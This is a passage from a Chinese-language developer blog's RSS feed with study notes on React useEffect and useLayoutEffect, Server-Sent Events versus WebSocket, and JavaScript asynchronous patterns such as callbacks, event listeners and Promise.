</span></span><span class="line"><span class="cl"><span class="kr">import</span> <span class="nx">type</span> <span class="p">{</span> <span class="nx">DependencyList</span><span class="p">,</span> <span class="nx">useEffect</span><span class="p">,</span> <span class="nx">useLayoutEffect</span> <span class="p">}</span> <span class="nx">from</span> <span class="s1">&#39;react&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kr">import</span> <span class="nx">isEqual</span> <span class="nx">from</span> <span class="s1">&#39;lodash/isEqual&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">type</span> <span class="nx">EffectHookType</span> <span class="o">=</span> <span class="k">typeof</span> <span class="nx">useEffect</span> <span class="o">|</span> <span class="k">typeof</span> <span class="nx">useLayoutEffect</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nx">type</span> <span class="nx">CreateUpdateEffect</span> <span class="o">=</span> <span class="p">(</span><span class="nx">hook</span><span class="o">:</span> <span class="nx">EffectHookType</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="nx">EffectHookType</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">depsEqual</span> <span class="o">=</span> <span class="p">(</span><span class="nx">aDeps</span><span class="o">:</span> <span class="nx">DependencyList</span> <span class="o">=</span> <span class="p">[],</span> <span class="nx">bDeps</span><span class="o">:</span> <span class="nx">DependencyList</span> <span class="o">=</span> <span class="p">[])</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nx">isEqual</span><span class="p">(</span><span class="nx">aDeps</span><span class="p">,</span> <span class="nx">bDeps</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">export</span> <span class="kr">const</span> <span class="nx">createDeepCompareEffect</span><span class="o">:</span> <span class="nx">CreateUpdateEffect</span> <span class="o">=</span> <span class="p">(</span><span class="nx">hook</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">(</span><span class="nx">effect</span><span class="p">,</span> <span class="nx">deps</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">ref</span> <span class="o">=</span> <span class="nx">useRef</span><span class="o">&lt;</span><span class="nx">DependencyList</span><span class="o">&gt;</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">signalRef</span> <span class="o">=</span> <span class="nx">useRef</span><span class="o">&lt;</span><span class="nx">number</span><span class="o">&gt;</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// 本地更新的依赖值与缓存的依赖深比较
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">if</span> <span class="p">(</span><span class="nx">deps</span> <span class="o">===</span> <span class="kc">undefined</span> <span class="o">||</span> <span class="o">!</span><span class="nx">depsEqual</span><span class="p">(</span><span class="nx">deps</span><span class="p">,</span> <span class="nx">ref</span><span class="p">.</span><span class="nx">current</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 将依赖保存一份
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nx">ref</span><span class="p">.</span><span class="nx">current</span> <span class="o">=</span> <span class="nx">deps</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 如果发现变更，则改变signalRef的值，是为了触发真正的useEffect
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nx">signalRef</span><span class="p">.</span><span class="nx">current</span> <span class="o">+=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="nx">hook</span><span class="p">(</span><span class="nx">effect</span><span class="p">,</span> <span class="p">[</span><span class="nx">signalRef</span><span class="p">.</span><span class="nx">current</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span></code></pre></div></li>
</ul>
<hr>
<h2 id="报错useeffect-is-called-conditionally">报错：<code>useEffect</code> is called conditionally</h2>
<p>完整报错如下:</p>
<blockquote>
<p>React Hook &ldquo;useEffect&rdquo; is called conditionally. React Hooks must be called in the exact same order in every component render.  react-hooks/rules-of-hooks</p>
</blockquote>
<p>解决方法很简单，只需将useEffect调用移动到组件的顶层，并使用条件语句来决定是否执行其内部的逻辑即可。</p>
<hr>
<h2 id="useeffect-执行时机">useEffect 执行时机</h2>
<ol>
<li>當元件被加入時 (mount)，useEffect 會被第一次執行。</li>
<li>當每次元件重新渲染時，如果 dependencies 的值有改變，先將舊的 props 和 state 執行 cleanup function，再帶著新的 props 和 state 執行 setup function。</li>
<li>cleanup function 的程式碼，會在元件生命週期結束 (unmount) 時，執行最後一次。</li>
</ol>
<hr>
<h2 id="uselayouteffect">useLayoutEffect</h2>
<h3 id="概念-3">概念</h3>
<ul>
<li>执行时机: 在浏览器重绘 (repaints) 前執行,区别于<code>useEffect</code>,在浏览器完成布局与绘制之后，在一个延迟事件中被调用</li>
<li>可能會造成性能的問題。 因為在 useLayoutEffect 里的程序會阻礙瀏覽器重繪 (repaints) ，太頻繁使用可能會造成整個應用程式緩慢</li>
</ul>
<h3 id="示例">示例</h3>
<ul>
<li>代码
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">import</span> <span class="p">{</span> <span class="nx">useEffect</span><span class="p">,</span> <span class="nx">useLayoutEffect</span><span class="p">,</span> <span class="nx">useState</span> <span class="p">}</span> <span class="nx">from</span> <span class="s2">&#34;react&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">export</span> <span class="k">default</span> <span class="kd">function</span> <span class="nx">App</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="p">[</span><span class="nx">count</span><span class="p">,</span> <span class="nx">setCount</span><span class="p">]</span> <span class="o">=</span> <span class="nx">useState</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="nx">useEffect</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">count</span> <span class="o">===</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="kr">const</span> <span class="nx">randomNum</span> <span class="o">=</span> <span class="mi">1</span> <span class="o">+</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">random</span><span class="p">()</span> <span class="o">*</span> <span class="mi">1000</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="nx">setCount</span><span class="p">(</span><span class="nx">randomNum</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">},</span> <span class="p">[</span><span class="nx">count</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="o">&lt;</span><span class="nx">div</span> <span class="nx">onClick</span><span class="o">=</span><span class="p">{()</span> <span class="p">=&gt;</span> <span class="nx">setCount</span><span class="p">(</span><span class="mi">0</span><span class="p">)}</span><span class="o">&gt;</span><span class="p">{</span><span class="nx">count</span><span class="p">}</span><span class="o">&lt;</span><span class="err">/div&gt;;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></li>
<li>解释
<ul>
<li>原因是，當你每次點擊 div，此時 count 會被更新為 0，畫面會重新渲染變為 0，同時，因為 count 被更新，也會觸發 useEffect 執行。所以在重繪完成之後， useEffect 執行並把 count 更新為另一串隨機數字，畫面也會再渲染一次，因為兩次渲染時間很快，所以造成閃爍。</li>
<li>假設我們把上方程式碼的 useEffect 換成 useLayoutEffect，當你每次點擊 div，此時 count 會被更新為 0，但這時，畫面不會被重新渲染變為 0，而是先等待 useLayoutEffect 內的程式碼執行完畢之後，state 已經更新為新的隨機數字，這時畫面才進行重繪。</li>
</ul>
</li>
</ul>
<h3 id="使用场景">使用场景</h3>
<ul>
<li>
<p>設計一個工具提示元件 (tooltip)，它會依照不同條件出現在某元素的上方、下方或旁邊，這種設計條件代表說，我們會需要知道此元素準確的高度位置，才能判斷要將 tooltip 顯示在哪裡。</p>
</li>
<li>
<p>此时React的渲染步驟可以拆分為下</p>
<ol>
<li>在任何地方渲染 Tooltip (即使位置不正確)</li>
<li>測量元素的高度，並決定放置 Tooltip 的位置</li>
<li>重新渲染畫面，這時 Tooltip 的位置才會是正確的</li>
<li>如果是使用 useEffect 的話，Tooltip 的位置，可能是從 0 變到 10 的位置，這會造成畫面閃爍、使用者體驗不佳，如果是使用 useLayoutEffect，React 則會在重繪前，就重新計算正確的位置，才渲染畫面。</li>
</ol>
</li>
</ul>
<hr>
<h2 id="参考-2">参考</h2>
<ul>
<li><a href="https://overreacted.io/a-complete-guide-to-useeffect/"  target="_blank" rel="noopener" >A Complete Guide to useEffect — overreacted</a></li>
<li><a href="https://devpress.csdn.net/react/62f64ea5c6770329307fc5f1.html"  target="_blank" rel="noopener" >Source code interpretation of React useEffect_javascript_rAc-React</a></li>
<li><a href="https://www.explainthis.io/zh-hant/swe/use-effect-vs-use-layout-effect"  target="_blank" rel="noopener" >請解釋 useEffect？與 useLayoutEffect 的區別？｜ExplainThis</a></li>
<li><a href="https://juejin.cn/post/7240600121208504375"  target="_blank" rel="noopener" >源码级层面角度剖析React中useEffect - 掘金</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>sse学习笔记</title>
      <link>https://euds.org/2024/learn_sse/</link>
      <pubDate>Tue, 30 Jul 2024 15:34:14 +0800</pubDate>
      
      <guid>https://euds.org/2024/learn_sse/</guid>
      <description>适合的技术才是最好的技术</description>
      <content:encoded><![CDATA[<h2 id="声明">声明</h2>
<p>本文是我学习sse(Server-Sent Events)的笔记，内容大部分是对我所读文章的摘抄，非我原创。具体出处参见<a href="#%e5%8f%82%e8%80%83" >参考链接</a>。</p>
<hr>
<h2 id="什么是-server-sent-events">什么是 Server-Sent Events</h2>
<ol>
<li>首先是服务器端向客户端声明，然后接下来发送的是流信息(text/eventStream)。换句话说，此时发送的不是一个一次性的数据包，而是以数据流的形式不断地发送过来，</li>
<li>在这种情况下，<strong>客户端不会</strong>关闭连接，会一直等着服务器端发送新的数据过来</li>
<li>消息的基本格式: <code>[field]: value\n</code></li>
</ol>
<hr>
<h2 id="对比">对比</h2>
<table>
<thead>
<tr>
<th>sse</th>
<th>websocket</th>
</tr>
</thead>
<tbody>
<tr>
<td>http协议</td>
<td>独立的websocket协议</td>
</tr>
<tr>
<td>轻量，使用简单</td>
<td>相对复杂</td>
</tr>
<tr>
<td>默认支持断线重连</td>
<td>需要自己实现断线重连</td>
</tr>
<tr>
<td>单工</td>
<td>双工</td>
</tr>
<tr>
<td>文本传输</td>
<td>二进制传输</td>
</tr>
<tr>
<td>支持自定义发送的消息类型</td>
<td>-</td>
</tr>
</tbody>
</table>
<hr>
<h2 id="缺陷">缺陷</h2>
<ul>
<li>浏览器原生的EventSource API不支持自定义请求头</li>
<li><a href="https://dev.to/miketalbot/server-sent-events-are-still-not-production-ready-after-a-decade-a-lesson-for-me-a-warning-for-you-2gie"  target="_blank" rel="noopener" >Server Sent Events are still not production ready after a decade. A lesson for me, a warning for you! - DEV Community</a></li>
</ul>
<p>&ndash;</p>
<h2 id="示例代码">示例代码</h2>
<ul>
<li>参考:
<ul>
<li><a href="https://www.youtube.com/watch?v=GXGFCXn9Hak&amp;ab_channel=Covalence"  target="_blank" rel="noopener" >Using fetch with server-sent events - YouTube</a></li>
<li><a href="https://github.com/covalence-io/sse-fetch"  target="_blank" rel="noopener" >covalence-io/sse-fetch</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="问题与排查">问题与排查</h2>
<h3 id="问题一">问题一</h3>
<ul>
<li>问题描述: 浏览器原生的EventSource API不支持自定义请求头</li>
<li>排查:
<ol>
<li>查阅<a href="https://developer.mozilla.org/zh-CN/docs/Web/API/EventSource"  target="_blank" rel="noopener" >EventSource - Web API | MDN</a>，似乎只提供<code>withCredentials</code>一个选项，但又声明是表示 EventSource 对象是否使用跨源资源共享（CORS）凭据来实例化（true），或者不使用（false，即默认值）。</li>
<li>转而使用<a href="https://github.com/Azure/fetch-event-source"  target="_blank" rel="noopener" >Azure/fetch-event-source: A better API for making Event Source requests, with all the features of fetch()</a></li>
<li>readme中提到了原生的EventSource API的几个缺点:
<blockquote>
<ul>
<li>You cannot pass in a request body: you have to encode all the information necessary to execute the request inside the URL, which is limited to 2000 characters in most browsers.</li>
<li>You cannot pass in custom request headers</li>
<li>You can only make GET requests - there is no way to specify another method.</li>
<li>If the connection is cut, you don&rsquo;t have any control over the retry strategy: the browser will silently retry for you a few times and then stop, which is not good enough for any sort of robust application.</li>
</ul>
</blockquote>
</li>
</ol>
</li>
<li>参考： <a href="https://developer.mozilla.org/en-US/docs/Web/API/EventSource"  target="_blank" rel="noopener" >EventSource - Web APIs | MDN</a></li>
</ul>
<h3 id="问题二">问题二</h3>
<ul>
<li>问题: 部署后发现浏览器端无法收到消息</li>
<li>排查：
<ol>
<li>网络问题? 算了下距离，一条消息从生成到被接收要绕地球至少一圈，加上国内糟糕的网络环境，消息接收肯定会有延时，但也不至于一条都收不到。</li>
<li>s3或cloud front设置问题? 对比之前的配置也没发现什么异常，无果</li>
<li>最终排查到nginx配置问题，搜到<a href="https://stackoverflow.com/questions/13672743/eventsource-server-sent-events-through-nginx"  target="_blank" rel="noopener" >ruby - EventSource / Server-Sent Events through Nginx - Stack Overflow</a>，</li>
</ol>
</li>
</ul>
<h3 id="问题三">问题三</h3>
<ul>
<li><a href="https://dev.to/miketalbot/server-sent-events-are-still-not-production-ready-after-a-decade-a-lesson-for-me-a-warning-for-you-2gie"  target="_blank" rel="noopener" >Server Sent Events are still not production ready after a decade. A lesson for me, a warning for you! - DEV Community</a></li>
</ul>
<h3 id="问题四">问题四</h3>
<ul>
<li><a href="https://github.com/Azure/fetch-event-source/issues/84"  target="_blank" rel="noopener" >Can&rsquo;t close <code>fetchEventSource</code> with <code>AbortController</code> in React · Issue #84 · Azure/fetch-event-source</a></li>
</ul>
<h3 id="问题五">问题五</h3>
<ul>
<li>
<p><strong>问题描述</strong>: 多开了几个页面后，页面的sse连接似乎被卡死。</p>
</li>
<li>
<p>排查:</p>
<ol>
<li>开始的时候以为是后端代码的问题，排查无果。</li>
<li>后来发现可能和设置的选项<code>openWhenHiden:true</code>有关</li>
<li>然后又试了不同浏览器，发现不同浏览器卡死的页面上限又不同。于是才定位到是浏览器问题。</li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/EventSource"  target="_blank" rel="noopener" >EventSource - Web API | MDN</a>上是这样解释的
<blockquote>
<p>当不使用 HTTP/2 时，服务器发送事件（SSE）受到打开连接数的限制，这个限制是对于浏览器的，并且设置为非常低的数字（6），打开多个选项卡时可能会特别痛苦。在 Chrome 和 Firefox 中，这个问题已被标记为“不会修复”。</p>
</blockquote>
</li>
</ol>
</li>
<li>
<p>参考</p>
<ul>
<li><a href="https://stackoverflow.com/questions/18584525/server-sent-events-and-browser-limits"  target="_blank" rel="noopener" >javascript - Server sent events and browser limits - Stack Overflow</a></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/EventSource"  target="_blank" rel="noopener" >EventSource - Web API | MDN</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="为什么不使用websocket">为什么不使用WebSocket</h2>
<p>以下内容均摘自<a href="https://www.zhihu.com/question/417163973/answer/3352111081"  target="_blank" rel="noopener" >为什么当今Web应用不都采用WebSocket形式进行数据交互？ - 知乎</a></p>
<ul>
<li><a href="https://www.zhihu.com/question/417163973/answer/3028379203"  target="_blank" rel="noopener" >龙背上的骑兵的回答 - 知乎</a>
<ul>
<li>成本高
<blockquote>
<p>websocket要想实现水平扩展就很复杂，因为websocke的场景一般都是双向通信，当数据库发生变更了，此时需要向客户端推送数据，要想推送数据，则必须知道和当前的客户端建立的websocket机器是哪个，然后向这台机器上的服务发送通知。所以一个多台机器的websocket服务，必须要搭配一个消息订阅服务（例如购买一个HA的redis的集群），而rest服务器则不需要。所以websocket成本更高。除非你不考虑水平扩展，只使用单台机器。</p>
</blockquote>
</li>
<li>没必要
<blockquote>
<p>一般情况下，客户端能在秒级内刷新数据，已经让用户感觉很实时了，这种使用rest轮训一样可以做到，性能更好，websocket则因为实时性过高，产生过多数据，消耗过多带宽。使用轮询，客户端和服务端的带宽是固定的，服务器可以合并2s内的事件统一发给客户端，流量为r。（假设通信一次数据量是固定的，为r），那么n个客户端2s内对服务器的总流量负载为 n * r.使用websocket,每个客户端都会实时发送信息，服务端收到之后都要实时广播给其他所有人，同样一次流量为r, 客户端为n 的情况下，服务器的流量总负载为:  n ^ 2 * r 。 所以websocket服务每增加一个客户端，服务器负载快速上升。一般都会通过限制一个文档内同时在线数量来避免。</p>
</blockquote>
</li>
</ul>
</li>
<li><a href="https://www.zhihu.com/question/417163973/answer/3352111081"  target="_blank" rel="noopener" >2到8个汉字的回答 - 知乎</a>提到了个<a href="https://developer.mozilla.org/en-US/docs/Web/API/WebTransport"  target="_blank" rel="noopener" >WebTransport - Web APIs | MDN</a></li>
</ul>
<hr>
<h2 id="参考">参考</h2>
<ul>
<li><a href="https://www.youtube.com/watch?v=GXGFCXn9Hak&amp;ab_channel=Covalence"  target="_blank" rel="noopener" >Using fetch with server-sent events - YouTube</a></li>
<li><a href="https://github.com/covalence-io/sse-fetch"  target="_blank" rel="noopener" >covalence-io/sse-fetch</a></li>
<li><a href="https://github.com/Azure/fetch-event-source"  target="_blank" rel="noopener" >Azure/fetch-event-source: A better API for making Event Source requests, with all the features of fetch()</a></li>
<li><a href="https://spring.hhui.top/spring-blog/2020/04/01/200401-SpringBoot%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B%E4%B9%8BSSE%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%8F%91%E9%80%81%E4%BA%8B%E4%BB%B6%E8%AF%A6%E8%A7%A3/"  target="_blank" rel="noopener" >【WEB系列】SSE服务器发送事件详解 | 一灰灰Blog</a></li>
<li><a href="https://blog.yuanpei.me/posts/3175881014/"  target="_blank" rel="noopener" >基于 Server-Sent Events 实现服务端消息推送 - 元培的元视角</a></li>
<li><a href="https://dev.to/miketalbot/server-sent-events-are-still-not-production-ready-after-a-decade-a-lesson-for-me-a-warning-for-you-2gie"  target="_blank" rel="noopener" >Server Sent Events are still not production ready after a decade. A lesson for me, a warning for you! - DEV Community</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/API/EventSource"  target="_blank" rel="noopener" >EventSource - Web APIs | MDN</a></li>
<li><a href="https://rathoreaparna678.medium.com/understanding-server-sent-events-with-node-js-652f8a3c3826"  target="_blank" rel="noopener" >使用 Node.js 了解服务器发送的事件 |通过 阿帕娜·拉索尔 |中等的 &mdash; Understanding Server-Sent Events With Node.js | by Aparna Rathore | Medium</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>JavaScript知识点整理之异步</title>
      <link>https://euds.org/2024/javascript_points_of_async/</link>
      <pubDate>Sat, 25 May 2024 15:34:14 +0800</pubDate>
      
      <guid>https://euds.org/2024/javascript_points_of_async/</guid>
      <description>自己学习过程中整理的关于JavaScript中异步的知识点</description>
      <content:encoded><![CDATA[<h2 id="单线程">单线程</h2>
<ul>
<li>
<p>原因:</p>
<ul>
<li>与它的用途有关: 作为浏览器脚本语言，JavaScript 的主要用途是与用户互动，以及操作 DOM。若以多线程的方式操作这些 DOM，则可能出现操作的冲突。假设有两个线程同时操作一个 DOM 元素，线程 1 要求浏览器删除 DOM，而线程 2 却要求修改 DOM 样式，这时浏览器就无法决定采用哪个线程的操作。当然，我们可以为浏览器引入“锁”的机制来解决这些冲突，但这会大大提高复杂性，所以 JavaScript 从诞生开始就选择了单线程执行。</li>
</ul>
</li>
<li>
<p><a href="https://github.com/JChehe/blog/blob/master/posts/%E5%85%B3%E4%BA%8EJavaScript%E5%8D%95%E7%BA%BF%E7%A8%8B%E7%9A%84%E4%B8%80%E4%BA%9B%E4%BA%8B.md"  target="_blank" rel="noopener" >blog/posts/关于JavaScript单线程的一些事.md at master · JChehe/blog</a></p>
</li>
</ul>
<h2 id="回调函数">回调函数</h2>
<ul>
<li>最基本的方法</li>
</ul>
<h3 id="实例">实例</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="c1">//有两个函数f1和f2，后者等待前者的执行结果。f1耗时长
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">f1</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="nx">f2</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 可以考虑改写f1，把f2写成f1的回调函数
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">function</span> <span class="nx">f1</span><span class="p">(</span><span class="nx">callback</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">　<span class="nx">setTimeout</span><span class="p">(</span><span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">　　<span class="c1">// f1的任务代码
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>　　<span class="nx">callback</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">　<span class="p">},</span> <span class="mi">1000</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><h3 id="优点">优点</h3>
<ul>
<li>简单、容易理解和部署</li>
</ul>
<h3 id="缺点">缺点</h3>
<ul>
<li>不利于代码的阅读和维护，各个部分之间高度耦合（Coupling），流程会很混乱</li>
<li>每个任务只能指定一个回调函数</li>
</ul>
<hr>
<h2 id="事件监听">事件监听</h2>
<ul>
<li>任务的执行不取决于代码的顺序，而取决于某个事件是否发生</li>
</ul>
<h3 id="示例">示例</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="c1">// 为f1绑定一个事件
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">f1</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="s1">&#39;done&#39;</span><span class="p">,</span><span class="nx">f2</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 改写f1
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">function</span> <span class="nx">f1</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">  <span class="nx">setTimeout</span><span class="p">(</span><span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">f1</span><span class="p">.</span><span class="nx">emit</span><span class="p">(</span><span class="s1">&#39;done&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">},</span><span class="mi">1000</span><span class="p">);</span>  
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><h3 id="优点-1">优点</h3>
<ul>
<li>比较容易理解</li>
<li>可以绑定多个事件，每个事件可以指定多个回调函数</li>
<li>可以&quot;去耦合&quot;（Decoupling），有利于实现模块化</li>
</ul>
<h3 id="缺点-1">缺点</h3>
<ul>
<li>整个程序都要变成事件驱动型，运行流程会变得很不清晰</li>
</ul>
<hr>
<h2 id="promise">Promise</h2>
<h3 id="描述">描述</h3>
<ul>
<li>一个 Promise 是一个<strong>代理</strong>，它代表一个在创建 promise 时不一定已知的值。</li>
<li>它允许你将处理程序与异步操作的最终成功值或失败原因关联起来。</li>
<li>这使得异步方法可以像同步方法一样返回值：异步方法不会立即返回最终值，而是返回一个 promise，以便在将来的某个时间点提供该值。</li>
</ul>
<h3 id="状态">状态</h3>
<ul>
<li>待定（pending）：初始状态，既没有被兑现，也没有被拒绝。</li>
<li>已兑现（fulfilled）：意味着操作成功完成。</li>
<li>已拒绝（rejected）：意味着操作失败。</li>
</ul>
<h3 id="方法">方法</h3>
<ul>
<li><code>.then()</code>:
<ul>
<li>最多接受两个参数；第一个参数是 Promise 兑现时的回调函数，第二个参数是 Promise 拒绝时的回调函数</li>
<li>返回一个新生成的 Promise 对象，这个对象可被用于链式调用</li>
</ul>
</li>
<li><code>.catch()</code>其实就是一个没有为 Promise 兑现时的回调函数留出空位的 <code>.then()</code></li>
<li><code>Promise.all()</code>
<ul>
<li>特点
<ol>
<li>接收一个可迭代对象</li>
<li>传入的数据中可以是普通数据，也可以是Promise对象</li>
<li>可迭代对象的promise是并行执行的</li>
<li>保持输入数组的顺序和输出数组的顺序一致</li>
<li>传入数组中只要有一个reject，立即返回reject,并带有第一个被拒绝的原因。</li>
<li>所有数据resolve之后返回一个 Promise</li>
</ol>
</li>
<li>实现: 参考: <a href="https://juejin.cn/post/7006200103157383175"  target="_blank" rel="noopener" >手写Promise.all - 掘金</a>
<code>JavaScript function myPromiseAll(iterable){ return new Promise((resolve,reject)=&gt;{ const promises = Array.from(iterable); const result = []; let count = 0; const len = promises.length; for(let i=0;i&lt;len;i++){ Promise.resolve(promises[i]).then(res=&gt;{ result[i] = res; count++; if(count===len){ resolve(result); } }).catch(err=&gt;{ reject(err); }) } }) } </code></li>
</ul>
</li>
<li><code>Promise.any()</code>
<ul>
<li>当输入的任何一个 Promise 兑现时，这个返回的 Promise 将会兑现，并返回第一个兑现的值。当所有输入 Promise 都被拒绝（包括传递了空的可迭代对象）时，它会以一个包含拒绝原因数组的 AggregateError 拒绝。</li>
</ul>
</li>
<li><code>Promise.allSettld()</code></li>
<li><code>Promise.race()</code>
<ul>
<li>特点:
<ol>
<li>返回第一个执行完成的 Promise，无论它是被 resolve 还是 reject</li>
</ol>
</li>
<li>实现:
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">myPromiseRace</span><span class="p">(</span><span class="nx">promises</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="k">new</span> <span class="nb">Promise</span><span class="p">((</span><span class="nx">resolve</span><span class="p">,</span><span class="nx">reject</span><span class="p">)=&gt;{</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">promise</span> <span class="k">of</span> <span class="nx">promises</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">            <span class="nb">Promise</span><span class="p">.</span><span class="nx">resolve</span><span class="p">(</span><span class="nx">promise</span><span class="p">).</span><span class="nx">then</span><span class="p">(</span><span class="nx">resolve</span><span class="p">,</span><span class="nx">reject</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">})</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></li>
</ul>
</li>
<li><code>Promise.withResolvers()</code>
<ul>
<li>returns an object containing a new Promise object and two functions to resolve or reject it</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/withResolvers"  target="_blank" rel="noopener" >Promise.withResolvers() - JavaScript | MDN</a></li>
</ul>
</li>
</ul>
<h3 id="作用">作用</h3>
<ul>
<li>参考<a href="https://juejin.cn/post/6844903693658259464"  target="_blank" rel="noopener" >Promise作用以及基本使用 - 掘金</a></li>
<li>将异步操作以同步操作的流程表达出来，避免层层嵌套的回调函数。表达更清晰高效，也更便于维护。</li>
</ul>
<h3 id="缺点-2">缺点</h3>
<ol>
<li>一旦新建它就会立即执行，无法中途取消</li>
<li>如果不设置回调函数，Promise内部抛出的错误，不会反应到外部</li>
<li>当处于Pending状态时，无法得知目前进展到哪一个阶段</li>
</ol>
<h3 id="问题一与settimeout的区别">问题一：与<code>setTimeout</code>的区别</h3>
<ul>
<li>setTimeout处于宏任务队列，Promise位于微任务队列</li>
<li>示例</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="c1">// 用一个已解决的 Promise——“resolvedProm”为例，
</span></span></span><span class="line"><span class="cl"><span class="c1">// 函数调用“resolvedProm.then(...)”立即返回一个新的 Promise，
</span></span></span><span class="line"><span class="cl"><span class="c1">// 但是其中的处理器“(value) =&gt; {...}”将被异步调用，正如打印输出所示。
</span></span></span><span class="line"><span class="cl"><span class="c1">// 新的 Promise 被赋值给“thenProm”，
</span></span></span><span class="line"><span class="cl"><span class="c1">// 并且 thenProm 将被解决为处理函数返回的值。
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kr">const</span> <span class="nx">resolvedProm</span> <span class="o">=</span> <span class="nb">Promise</span><span class="p">.</span><span class="nx">resolve</span><span class="p">(</span><span class="mi">33</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">resolvedProm</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
